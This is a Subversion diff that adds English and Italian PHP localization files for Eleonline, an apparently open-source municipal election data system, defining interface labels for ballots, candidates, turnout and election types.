+define("_ADMINCOME","HOW TO VOTE - Administration");
+define("_EDITORIAL","General Informations");
+define("_EDITORIALADMIN","Managing Informations");
+define("_EDITINFO","Edit informations");
+define("_EDIT","Edit");
+define("_ADD","Add");
+define("_NEW","New");
+define("_DELETE","Delete");
+define("_COPIA","Copy");
+define("_STRUTTURA","Structure");
+define("_ADDCOME","Add information");
+define("_ADDPRES","Add candidate for president");
+define("_ALLCOME","Inserted Informations");
+define("_REMOVEINFO","Are you sure to delete this information? ");
+define("_IMAGE","Immagine informazione");
+define("_CONTINUA","continue <img src=\"images/site.gif\" align=\"center\" border=\"0\">");
+define("_MESSAGEPREAMBLE","Preamble (max 500 char)");
+define("_ADMINNUMERI","Numbers - Administration");
+define("_ADMINSERVIZI","Services - Administration");
+define("_ADMINLINK","Links - Administration");
+define("_CONTR_ESPR","Ballots Verification");
+// Note
+//define("_ENTE","Comune di Guidonia Montecelio (Provincia di Roma)");
+//define("_NOTACSV","Notes: I dati sono estratti dal sito del ");
+//define("_DISC1","Ogni rappresentazione ed uso e' consentita citando la fonte dei dati");
+//define("_SITO","http://www.guidonia.org ");
+// Copyright
+define("_SORALDO","Eleonline: Modulo elettorale");
+define("_VERS","versione 0.5 beta ");
+define("_NON","Not");
+define("_EXPORT","Export");
+define("_TABULA","(tab formatted)");
+define("_GRAFICI","Diagrams ");
+define("_ALL","All ");
+//define("_MAIN","Qui sono e saranno presenti i dati e i risultati delle
+//consultazioni elettorali svolte nel ");
+define("_THEMES","Tema Grafico");
+define("_ACTIVE","Activ ");
+define("_BLOCCHI","Lateral blocks");
+define("_BLOCKS","Blocks");
+define("_MENUCONF","Configuration Menu for graphical aspect");
+define("_GESFILE","Image Files Managing");
+define("_LOGO","Image or Logo");
+define("_ELETTORI","Voters");
+define("_EDIFICIO","Building");
+define("_MAPPA","Map");
+#define("_LINK","Link");
+define("_NUMERITEL","Telephon");
+define("_DESCRAPP","Deep Description");
+define("_DESCRLINK","Short description for the link");
+define("_HELPHTML","You can use all HTML tags. Example: <font color=\"#ff0000\">&lt br &gt </font>new line</pre>");
+define("_SUPER","S<br/>U<br/>P<br/>E<br/>R<br/>U<br/>S<br/>E<br/>R");
+define("_ADMIN","A<br/>D<br/>M<br/>I<br/>N<br/>I<br/>S<br/>T<br/>R<br/>A<br/>T<br/>O<br/>R");
+define("_OPER","O<br/>P<br/>E<br/>R<br/>A<br/>T<br/>O<br/>R");
+#define("_SCELTA_CONS","Choose an Election");
+define("_GESRIS","managing elections");
+define("_INVIOSEGN","To contact us for signallings, demands or suggestions");
+define("_CLICCAQUI","click here");
+define("_CONFRONTI","Comparing");
+define("_ALTROGRP","Other");
+define("_GRUPPO1","Group 1");
+define("_GRUPPO2","Group 2");
+define("_SCELTA_LISTE","JOIN LISTS TO GROUPS");
+define("_CNFR_CONS","CONSULTATIONS COMPARING<br/>you can choose to compare groups or single lists");
+define("_SCELTA_CONS","<b>Choose consultations to compare</b>");
+define("_ALTRI","Other down 3%");
+define("_LINGUA","Language");
+define("_OFF","Disable");
+define("_ON","Enable");
+define("_BLOCCO","Block");
+define("_OPTIONS","Options");
+define("_ELEZIONI","Elections");
+define("_TEMA","Template");
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-it.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-it.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/language/lang-it.php	(revision 44)
@@ -0,0 +1,400 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+define("_MOD_INSERITI","Modelli gia' inseriti");
+define("_SCELTA_MODELLO","Impostazione dei modelli di stampa per la Prefettura");
+define("_COMPLESSIVO","complessivo");
+define("_CONTR_CONS","Controllo voti alle liste");
+define("_CONTR_GRUP","Controllo voti ai gruppi");
+define("_DATAIN","Data inizio");
+define("_STAMPE_PREF","Stampe per Prefettura");
+define("_ELENCO_STAMPE","Elenco dei modelli di stampa per le comunicazioni alla Prefettura");
+define("_MODELLI","Modelli per stampe");
+define("_DATAFINE","Data fine");
+define("_GESTIONE","Gestione");
+define("_A","a");
+define("_ASOLA_LISTA","Alle Liste");
+define("_ASOLO_GRUPPO","Ai Soli Gruppi");
+define("_UOMINI","Uomini");
+define("_DONNE","Donne");
+define("_COMPLESSIVI","Complessivi");
+define("_COMUNI","Comuni");
+define("_CONSULTAZIONI","Consultazioni");
+define("_INFO","Informazioni");
+define("_CALCONS","Proiezione Consiglio");
+define("_QUOZIENTI","Quozienti");
+define("_CIFRAELE","Cifra<br/>Elettorale");
+define("_PROIEZCONS","PROIEZIONE DELLA COMPOSIZIONE DEL CONSIGLIO COMUNALE<br>LA FUNZIONE DI CALCOLO E' SPERIMENTALE<BR>IL RISULTATO E' PURAMENTE INDICATIVO");
+define("_SCELTASIN","Scegli quale candidato deve essere considerato Sindaco Eletto");
+define("_COLLEGAMENTI","Collegamenti per il turno di ballottaggio");
+define("_NONCOLLE","Non collegate");
+define("_SINDACO","Sindaco");
+define("_RISULTATI","Risultati");
+define("_DETTAGLIO","Dettaglio");
+define("_YES","Si");
+define("_RIGHT","Destra");
+define("_DA","da");
+define("_VIS_PERC","Visualizza percentuali");
+define("_VOTIE","Voti espressi");
+define("_VOTIL","Voti liste");
+define("_SEZNOS","Sezioni non scrutinate");
+define("_SEZSCR","Sezioni scrutinate");
+define("_LISTA","Lista");
+define("_PREFLISTA","Preferenze di Lista");
+define("_CANDIDATO","Candidato");
+define("_GESAMMIN","Gestione Amministrativa ");
+define("_DESCR","Descrizione");
+define("_IMMCONS","Immissione consultazione");
+define("_DOMCANCELLA","Sicuro di voler cancellare ");
+define("_FUNZIONI","Funzioni di modifica ");
+define("_NEXT_MATCH","Successivi");
+define("_PREV_MATCH","Precedenti");
+define("_NEXT","Successiva");
+define("_PREV","Precedente");
+define("_SCELTA","Scelta");
+define("_SCEGLI","Scegli ");
+define("_SEDE","Sede elettorale ");
+define("_NUM","Numero ");
+define("_IDCONS","Id consult. ");
+define("_IMM","Immissione");
+define("_TEL","Telefono");
+define("_INDIRIZZO","Indirizzo");
+define("_FAX","Fax");
+define("_RESP","Responsabile");
+define("_SEZIONE","Sezione ");
+define("_MASCHI","Maschi ");
+define("_FEMMINE","Femmine ");
+define("_AUT_M","Autorizzati Maschi ");
+define("_AUT_F","Autorizzate Femmine ");
+define("_SCHEDE_D","Schede disponibili ");
+define("_SCHEDE_A","Schede autenticate ");
+define("_TOTS","Totali ");
+define("_TOT","Totale ");
+define("_GESTIMM","Gestione Logo o Simbolo");
+define("_SIMBOLO","Simbolo");
+define("_INVIOFILE","<font color=\"red\">Invio file (jpg,gif o png) per Logo o Simbolo</font>");
+define("_FILEDAINVIARE","Scegli il file da inviare");
+define("_CANCELLAFILE","<font color=\"red\">Cancella file Logo o Simbolo</font>");
+define("_SCELTAFILE","Scegli il file da cancellare");
+define("_LISTALOGO","Logo della lista");
+define("_COGNOME","Cognome");
+define("_NOME","Nome");
+define("_NOMINATIVO","Nominativo");
+define("_FOTO","Foto");
+define("_NOTE","Note");
+define("_SEGGI","Seggi");
+define("_PRIMONON","Primo non eletto");
+define("_SINDCONS","Candidato Sindaco<br/>eletto Consigliere");
+define("_SEGGIMIN","Consiglieri di minoranza");
+define("_GESSPOGLIO","Gestione Spoglio Elettorale");
+define("_SPOGLIO","Spoglio");
+define("_VOTI","Voti");
+define("_VOTANTI","Votanti");
+define("_NONVOTANTI","Non Votanti");
+define("_PREFERENZE","Preferenze");
+define("_ORA","Orario");
+define("_DATA","Data");
+define("_VOTID","Voti Femmine");
+define("_VOTIU","Voti Maschi");
+define("_VOTIT","Voti Totali");
+define("_VALIDI","Voti Validi");
+define("_NULLI","Voti Nulli");
+define("_BIANCHI","Voti Bianchi");
+define("_CONTESTATI","Voti Contestati");
+define("_TOTALEVOTI","Voti Totali");
+define("_TOT_ULT","Votanti Ultima Ora");
+define("_VOTIINS","Voti Inseriti");
+define("_CANDINS","Candidati Inseriti");
+define("_TOTNON","Tot. Voti non Validi");
+define("_CANDIDATI","Candidati");
+define("_DATIG","Dati Generali");
+define("_SEZIONI","Sezioni");
+define("_AVENTI","Aventi Diritto");
+define("_SI","Si");
+define("_NO","No");
+define("_AFFLUENZE","Affluenze");
+define("_NOTA","I dati immessi su questo sito, suscettibili di modifiche, sono ufficiosi. Essi hanno valore puramente informativo.");
+define("_ORE","ore");
+define("_ALLE","alle");
+define("_DEL","del");
+define("_STATO","Stato");
+define("_OK","Ok");
+define("_MOSTRA","Visualizza");
+define("_PERCOL","per colonne");
+define("_PERRIGHE","per righe");
+define("_VISUALIZZA","Visualizza i dati");
+define("_TIPO","Tipo");
+define("_CONSULTA","Consultazione");
+define("_PERCE","Percentuale");
+define("_RISULTA","Risultati");
+define("_PER","per");
+define("_SEZSCRU","Sezioni scrutinate ");
+define("_SU","su");
+define("_ADMINCOME","COME SI VOTA - Amministrazione");
+define("_EDITORIAL","Informazioni Generali");
+define("_EDITORIALADMIN","Amministrazione Informazioni");
+define("_EDITINFO","Edita informazione");
+define("_ADDCOME","Aggiungi informazione");
+define("_ADDPRES","Aggiungi candidato presidentee");
+define("_ALLCOME","Informazioni presenti");
+define("_REMOVEINFO","Sicuro di voler rimuovere l'informazione? ");
+define("_IMAGE","Immagine informazione");
+define("_CONTINUA","continua <img src=\"images/site.gif\" align=\"center\" border=\"0\">");
+define("_MESSAGEPREAMBLE","Preambolo (max 500 car)");
+define("_ADMINNUMERI","Numeri Utili - Amministrazione");
+define("_ADMINSERVIZI","Servizi Utili - Amministrazione");
+define("_ADMINLINK","Links Utili - Amministrazione");
+define("_LINK","Link utili");
+// Note
+define("_ENTE","Comune di Guidonia Montecelio (Provincia di Roma)");
+define("_NOTACSV","Note: I dati sono estratti dal sito del ");
+define("_DISC1","Ogni rappresentazione ed uso e' consentita citando la fonte dei dati");
+define("_SITO","http://www.guidonia.org ");
+// Copyright
+define("_SORALDO","SorAldo: Modulo elettorale");
+define("_VERS","versione 0.3 beta ");
+define("_BYNOI","di Luciano Apolito e Roberto Gigli");
+define("_EMAILBY","Email: luciano@aniene.net - rgigli@libero.it");
+define("_NON","Non");
+define("_EXPORT","Esporta");
+define("_TABULA","(formato con tabulazione)");
+define("_GRAFICI","Grafici ");
+define("_ALL","Tutti ");
+define("_MAIN","Qui sono e saranno presenti i dati e i risultati delle
+consultazioni elettorali svolte nel ");
+define("_THEMES","Tema Grafico");
+define("_ACTIVE","Attivo ");
+define("_BLOCCHI","Blocchi laterali");
+define("_BLOCKS","Blocchi");
+define("_MENUCONF","Menu di configurazione dell'aspetto grafico del sito");
+define("_GESFILE","Gestione Files Immagini");
+define("_LOGO","Immagine o logo");
+define("_ELETTORI","Elettori");
+define("_ORDINE","Ordine");
+define("_MAPPA","Mappa");
+define("_COMUNE","Comune di ");
+define("_DISCLAIMER","Dati Provvisori suscettibili di modifica. I dati hanno puramente titolo informativo");
+define("_COME","Come si vota");
+define("_NUMERI","Numeri Utili");
+define("_SERVIZI","Servizi");
+define("_DATI","Dati Generali");
+define("_SINGOLA","singola sede elettorale");
+define("_INIZIALI","Iniziali del Cognome");
+define("_PERC","Percentuale");
+define("_VER_GRAF","Versione Grafica");
+define("_VER_STAMPA","Versione Stampa");
+define("_VER_FLASH","Grafica Flash");
+define("_VER_HTML","Grafica Statica");
+//define("_DETTAGLIO","Dettaglio");
+define("_ISCR_SEZ","Iscritti<br />nella sezione");
+define("_CONFRONTI","Raffronti");
+define("_ALTROGRP","Altri");
+define("_GRUPPO1","Gruppo 1");
+define("_GRUPPO2","Gruppo 2");
+define("_SCELTA_LISTE","ASSEGNA LE LISTE AI RAGGRUPPAMENTI");
+define("_ALTRI","Altri sotto il 3%");
+define("_CNFR_CONS","RAFFRONTO TRA CONSULTAZIONI<br/>".htmlentities("si può impostare su liste singole o su raggruppamenti"));
+define("_SCELTA_CONS","<b>Scegli le consultazioni da mettere a confronto</b>");
+
+
+if($tipo_cons==12 or $tipo_cons==14 or $tipo_cons==15 or $tipo_cons==16 or $tipo_cons==17){
+define("_CIRCS","Collegi");
+define("_CIRCO","Collegio");
+define("_CIRCOS","Collegi");
+define("_IDCIRC","Id collegio ");
+define("_CIRC_N","Collegio n. ");
+}else{
+define("_CIRCS","Circoscrizioni");
+define("_CIRCO","Circoscrizione");
+define("_CIRCOS","Circoscrizioni");
+define("_IDCIRC","Id circos. ");
+define("_CIRC_N","Circoscrizione n. ");
+}
+
+
+// Contatti
+define("_SEND","Invia");
+define("_YOURNAME","Nome");
+define("_MESSAGE","Il Messaggio");
+define("_YOUREMAIL","Email");
+define("_FEEDBACKNOTE","
+Attraverso questo form potrai richiedere all'Ente informazioni ed inviare commenti e proposte migliorative al software ed al servizio.
+Ogni commento in merito sara' ben accetto. Grazie!");
+define("_FEEDBACKTITLE","Proposte e contatti");
+define("_FEEDBACK","Contatti");
+define("_FBENTERNAME","Nominativo mancante, grazie!");
+define("_FBENTEREMAIL","Indirizzo email mancante, grazie!");
+define("_FBENTERMESSAGE","Nessun messaggio immesso, grazie!");
+define("_SENDEREMAIL","Email dell'utente");
+define("_SENDERNAME","Nome dell'utente");
+define("_FBMAILSENT","Il messaggio e' stato inviato!");
+define("_FBTHANKSFORCONTACT","Grazie per averci contattato. ");
+define("_GESRIS","gestione risultati elettorali");
+define("_INVIOSEGN","Per rendere questo servizio piu' efficiente puoi inviare segnalazioni e suggerimenti a");
+define("_CLICCAQUI","questo indirizzo");
+define("_GOBACK","[ <a href=\"javascript:history.go(-1)\">Indietro</a> ]");
+define("_LINGUA","Linguaggio");
+define("_OFF","Disattiva");
+define("_ON","Attiva");
+define("_BLOCCO","Blocco");
+define("_OPTIONS","Opzioni");
+define("_ELEZIONI","Elezioni");
+define("_TEMA","Tema");
+define("_LISTE","Liste");
+define("_VOTI_RAGGR","Totale voti alle liste");
+
+
+//global $tipo_cons;
+switch ($tipo_cons){
+	case 1:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Elezioni Provinciali");
+		define("_GRUPPI","Candidati Presidenti");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo gruppo");
+		define("_VOTI_LISTA","Voti di lista");
+		define("_CONSIGLIO","Consiglio Provinciale");
+		break;
+	case 2:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Referendaria");
+		define("_GRUPPI","Quesiti Referendari");
+		define("_GRUPPO","Quesito Referendario");
+		define("_GRUPPOLOGO","Logo del Quesito");
+		define("_PRESI","Quesito");
+		break;
+	case 3:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Elezioni Comunali");
+		define("_GRUPPI","Candidati Sindaco");
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Sindaco");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo candidato Sindaco");
+		define("_CONSIGLIO","Consiglio Comunale");
+		define("_VOTI_LISTA","Voti di lista");
+		break;
+        case 4:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+	        define("_CONSULTAZIONE","Consultazione Elezioni Circoscrizione");
+                define("_GRUPPI","Candidati Presidente");
+		define("_GRUPPO","Candidato Presidente");
+                define("_CONSI","Consigliere");
+		define("_CONSIGLIO","Consiglio Circoscrizionale");
+                break;
+	case 5: 
+		define("_CONSULTAZIONE","Sessione di Ballottaggio");
+		define("_GRUPPI","Candidati Sindaco");
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Presidente");
+		break;
+	case 6:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Camera");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 7:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Senato");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 8:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Parlamentare Europea");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSI","Candidato Lista");
+		define("_CONSIGLIO","Consiglio Europeo");
+		break;
+	case 9:
+		 define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Regionale");
+		define("_GRUPPI","Candidati Presidente");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_CONSI","Candidato Lista");
+		define("_CONSIGLIO","Consiglio Regionale");
+		break;
+	
+	// Aggiunte per la nuova legge	2006
+	case 10:
+		define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Senato");
+		define("_GRUPPI","Coalizioni");
+		define("_GRUPPO","Coalizione");
+		//define("_LISTA","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSIGLIO","Senatori");
+		break;
+	
+	case 11:
+		define("_SCELTA_CIR","Scegli la Circoscrizione");
+		define("_CONSULTAZIONE","Consultazione Camera");
+		define("_GRUPPI","Coalizioni");
+		define("_GRUPPO","Coalizione");
+		//define("_LISTA","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSIGLIO","Deputati");
+		break;
+	case 12:
+		 define("_SCELTA_CIR","Scegli il Collegio");
+		define("_CONSULTAZIONE","Consultazione Elezioni Provinciali");
+		define("_GRUPPI","Candidati Presidenti");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo gruppo");
+		define("_VOTI_LISTA","Voti di lista");
+		define("_CONSIGLIO","Consiglio Provinciale");
+		break;
+	case 13: 
+		define("_CONSULTAZIONE","Sessione di Ballottaggio");
+		define("_GRUPPI","Candidati Presidente");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		break;
+	case 14:
+		define("_CONSULTAZIONE","Consultazione Parlamentare Europea"); //genere 4
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSI","Candidato Lista");
+		define("_DESCRCONS","EUROPEE");
+		break;
+	case 15:
+		define("_CONSULTAZIONE","Consultazione Camera"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","CAMERA CON GRUPPI");
+		break;
+	case 16: 
+		define("_CONSULTAZIONE","Consultazione Senato"); //genere 2
+		define("_GRUPPO","Coalizione");
+		define("_DESCRCONS","SENATO CON GRUPPI");
+		break;
+	case 17:
+		define("_CONSULTAZIONE","Consultazione Elezioni Regionali"); //genere 5
+		define("_GRUPPO","Candidato Presidente");
+		define("_DESCRCONS","REGIONALI");
+		break;
+	
+
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/language/ori-lang-it.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/language/ori-lang-it.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/language/ori-lang-it.php	(revision 44)
@@ -0,0 +1,335 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+//global $tipo_cons;
+switch ($tipo_cons){
+	case 1:
+		define("_CONSULTAZIONE","Consultazione Elezioni Provinciali");
+		define("_GRUPPI","Candidati Presidenti");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_PRESI","Presidente");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo gruppo");
+		define("_VOTI_LISTA","Voti di lista");
+		define("_CONSIGLIO","Consiglio Provinciale");
+		break;
+	case 2:
+		define("_CONSULTAZIONE","Consultazione Referendaria");
+		define("_GRUPPI","Quesiti Referendari");
+		define("_GRUPPO","Quesito Referendario");
+		define("_GRUPPOLOGO","Logo del Quesito");
+		define("_PRESI","Quesito");
+		break;
+	case 3:
+		define("_CONSULTAZIONE","Consultazione Elezioni Comunali");
+		define("_GRUPPI","Candidati Sindaco");
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Sindaco");
+		define("_CONSI","Consigliere");
+		define("_SOLO_GRUPPO","Voti al solo candidato Sindaco");
+		define("_CONSIGLIO","Consiglio Comunale");
+		define("_VOTI_LISTA","Voti di lista");
+		break;
+        case 4:
+	        define("_CONSULTAZIONE","Consultazione Elezioni Circoscrizione");
+                define("_GRUPPI","Candidati Presidente");
+		define("_GRUPPO","Candidato Presidente");
+                define("_CONSI","Consigliere");
+		define("_CONSIGLIO","Consiglio Circoscrizionale");
+                break;
+	case 5: //era 9 ma 9 non esiste vanno previsti i diversi casi di ballottaggio (prov. comune...)
+		define("_CONSULTAZIONE","Sessione di Ballottaggio");
+		define("_GRUPPI","Candidati Sindaco");
+		define("_GRUPPO","Candidato Sindaco");
+		define("_GRUPPOLOGO","Logo del Sindaco");
+		define("_PRESI","Presidente");
+		break;
+	case 6:
+		define("_CONSULTAZIONE","Consultazione Camera");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 7:
+		define("_CONSULTAZIONE","Consultazione Senato");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		break;
+	case 8:
+		define("_CONSULTAZIONE","Consultazione Parlamentare Europea");
+		define("_GRUPPI","Liste");
+		define("_GRUPPO","Lista");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSI","Candidato Lista");
+		define("_CONSIGLIO","Consiglio Europeo");
+		break;
+	case 9:
+		define("_CONSULTAZIONE","Consultazione Regionale");
+		define("_GRUPPI","Candidati Presidente");
+		define("_GRUPPO","Candidato Presidente");
+		define("_GRUPPOLOGO","Logo del Presidente");
+		define("_CONSI","Candidato Lista");
+		define("_CONSIGLIO","Consiglio Regionale");
+		break;
+	
+	// Aggiunte per la nuova legge	2006
+	case 10:
+		define("_CONSULTAZIONE","Consultazione Senato");
+		define("_GRUPPI","Coalizioni");
+		define("_GRUPPO","Coalizione");
+		//define("_LISTA","Lista");
+		define("_LISTE","Liste");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSIGLIO","Senatori");
+		break;
+	
+	case 11:
+		
+		define("_CONSULTAZIONE","Consultazione Camera");
+		define("_GRUPPI","Coalizioni");
+		define("_GRUPPO","Coalizione");
+		//define("_LISTA","Lista");
+		define("_LISTE","Liste");
+		define("_GRUPPOLOGO","Logo della Lista");
+		define("_CONSIGLIO","Deputati");
+		break;
+
+
+}
+define("_MOD_INSERITI","Modelli gia' inseriti");
+define("_SCELTA_MODELLO","Impostazione dei modelli di stampa per la Prefettura");
+define("_COMPLESSIVO","complessivo");
+define("_CONTR_CONS","Controllo voti alle liste");
+define("_CONTR_GRUP","Controllo voti ai gruppi");
+define("_DATAIN","Data inizio");
+define("_STAMPE_PREF","Stampe per Prefettura");
+define("_ELENCO_STAMPE","Elenco dei modelli di stampa per le comunicazioni alla Prefettura");
+define("_MODELLI","Modelli per stampe");
+define("_DATAFINE","Data fine");
+define("_GESTIONE","Gestione");
+define("_CIRCO","Circoscrizione");
+define("_CIRCOS","Circoscrizioni");
+define("_A","a");
+define("_ASOLA_LISTA","Alle Liste");
+define("_ASOLO_GRUPPO","Ai Soli Gruppi");
+define("_UOMINI","Uomini");
+define("_DONNE","Donne");
+define("_COMPLESSIVI","Complessivi");
+define("_COMUNI","Comuni");
+define("_CONSULTAZIONI","Consultazioni");
+define("_INFO","Informazioni");
+define("_CALCONS","Proiezione Consiglio");
+define("_QUOZIENTI","Quozienti");
+define("_CIFRAELE","Cifra<br/>Elettorale");
+define("_PROIEZCONS","PROIEZIONE DELLA COMPOSIZIONE DEL CONSIGLIO COMUNALE");
+define("_SCELTASIN","Scegli quale candidato deve essere considerato Sindaco Eletto");
+define("_COLLEGAMENTI","Collegamenti per il turno di ballottaggio");
+define("_NONCOLLE","Non collegate");
+define("_SINDACO","Sindaco");
+define("_RISULTATI","Risultati");
+define("_DETTAGLIO","Dettaglio");
+define("_YES","Si");
+define("_RIGHT","Destra");
+define("_DA","da");
+define("_VIS_PERC","Visualizza percentuali");
+define("_VOTIE","Voti espressi");
+define("_VOTIL","Voti liste");
+define("_SEZNOS","Sezioni non scrutinate");
+define("_SEZSCR","Sezioni scrutinate");
+define("_LISTA","Lista");
+define("_PREFLISTA","Preferenze di Lista");
+define("_CANDIDATO","Candidato");
+define("_GESAMMIN","Gestione Amministrativa ");
+define("_DESCR","Descrizione");
+define("_IMMCONS","Immissione consultazione");
+define("_DOMCANCELLA","Sicuro di voler cancellare ");
+define("_FUNZIONI","Funzioni di modifica ");
+define("_NEXT_MATCH","Successivi");
+define("_PREV_MATCH","Precedenti");
+define("_NEXT","Successiva");
+define("_PREV","Precedente");
+define("_SCELTA","Scelta");
+define("_SCEGLI","Scegli ");
+define("_SEDE","Sede elettorale ");
+define("_NUM","Numero ");
+define("_IDCONS","Id consult. ");
+define("_IDCIRC","Id circos. ");
+define("_IMM","Immissione");
+define("_TEL","Telefono");
+define("_INDIRIZZO","Indirizzo");
+define("_FAX","Fax");
+define("_RESP","Responsabile");
+define("_SEZIONE","Sezione ");
+define("_MASCHI","Maschi ");
+define("_FEMMINE","Femmine ");
+define("_AUT_M","Autorizzati Maschi ");
+define("_AUT_F","Autorizzate Femmine ");
+define("_SCHEDE_D","Schede disponibili ");
+define("_SCHEDE_A","Schede autenticate ");
+define("_TOTS","Totali ");
+define("_TOT","Totale ");
+define("_GESTIMM","Gestione Logo o Simbolo");
+define("_SIMBOLO","Simbolo");
+define("_INVIOFILE","<font color=\"red\">Invio file (jpg,gif o png) per Logo o Simbolo</font>");
+define("_FILEDAINVIARE","Scegli il file da inviare");
+define("_CANCELLAFILE","<font color=\"red\">Cancella file Logo o Simbolo</font>");
+define("_SCELTAFILE","Scegli il file da cancellare");
+define("_LISTALOGO","Logo della lista");
+define("_COGNOME","Cognome");
+define("_NOME","Nome");
+define("_NOMINATIVO","Nominativo");
+define("_FOTO","Foto");
+define("_NOTE","Note");
+define("_SEGGI","Seggi");
+define("_PRIMONON","Primo non eletto");
+define("_SINDCONS","Candidato Sindaco<br/>eletto Consigliere");
+define("_SEGGIMIN","Consiglieri di minoranza");
+define("_GESSPOGLIO","Gestione Spoglio Elettorale");
+define("_SPOGLIO","Spoglio");
+define("_VOTI","Voti");
+define("_VOTANTI","Votanti");
+define("_NONVOTANTI","Non Votanti");
+define("_PREFERENZE","Preferenze");
+define("_ORA","Orario");
+define("_DATA","Data");
+define("_VOTID","Voti Femmine");
+define("_VOTIU","Voti Maschi");
+define("_VOTIT","Voti Totali");
+define("_VALIDI","Voti Validi");
+define("_NULLI","Voti Nulli");
+define("_BIANCHI","Voti Bianchi");
+define("_CONTESTATI","Voti Contestati");
+define("_TOTALEVOTI","Voti Totali");
+define("_TOT_ULT","Votanti Ultima Ora");
+define("_VOTIINS","Voti Inseriti");
+define("_CANDINS","Candidati Inseriti");
+define("_TOTNON","Tot. Voti non Validi");
+define("_CANDIDATI","Candidati");
+define("_DATIG","Dati Generali");
+define("_CIRCS","Circoscrizioni");
+define("_SEZIONI","Sezioni");
+define("_AVENTI","Aventi Diritto");
+define("_SI","Si");
+define("_NO","No");
+define("_AFFLUENZE","Affluenze");
+define("_NOTA","I dati immessi su questo sito, suscettibili di modifiche, sono ufficiosi. Essi hanno valore puramente informativo.");
+define("_ORE","ore");
+define("_ALLE","alle");
+define("_DEL","del");
+define("_STATO","Stato");
+define("_OK","Ok");
+define("_MOSTRA","Visualizza");
+define("_PERCOL","per colonne");
+define("_PERRIGHE","per righe");
+define("_VISUALIZZA","Visualizza i dati");
+define("_TIPO","Tipo");
+define("_CONSULTA","Consultazione");
+define("_PERCE","Percentuale");
+define("_RISULTA","Risultati");
+define("_PER","per");
+define("_SEZSCRU","Sezioni scrutinate ");
+define("_SU","su");
+define("_ADMINCOME","COME SI VOTA - Amministrazione");
+define("_EDITORIAL","Informazioni Generali");
+define("_EDITORIALADMIN","Amministrazione Informazioni");
+define("_EDITINFO","Edita informazione");
+define("_ADDCOME","Aggiungi informazione");
+define("_ADDPRES","Aggiungi candidato presidentee");
+define("_ALLCOME","Informazioni presenti");
+define("_REMOVEINFO","Sicuro di voler rimuovere l'informazione? ");
+define("_IMAGE","Immagine informazione");
+define("_CONTINUA","continua <img src=\"images/site.gif\" align=\"center\" border=\"0\">");
+define("_MESSAGEPREAMBLE","Preambolo (max 500 car)");
+define("_ADMINNUMERI","Numeri Utili - Amministrazione");
+define("_ADMINSERVIZI","Servizi Utili - Amministrazione");
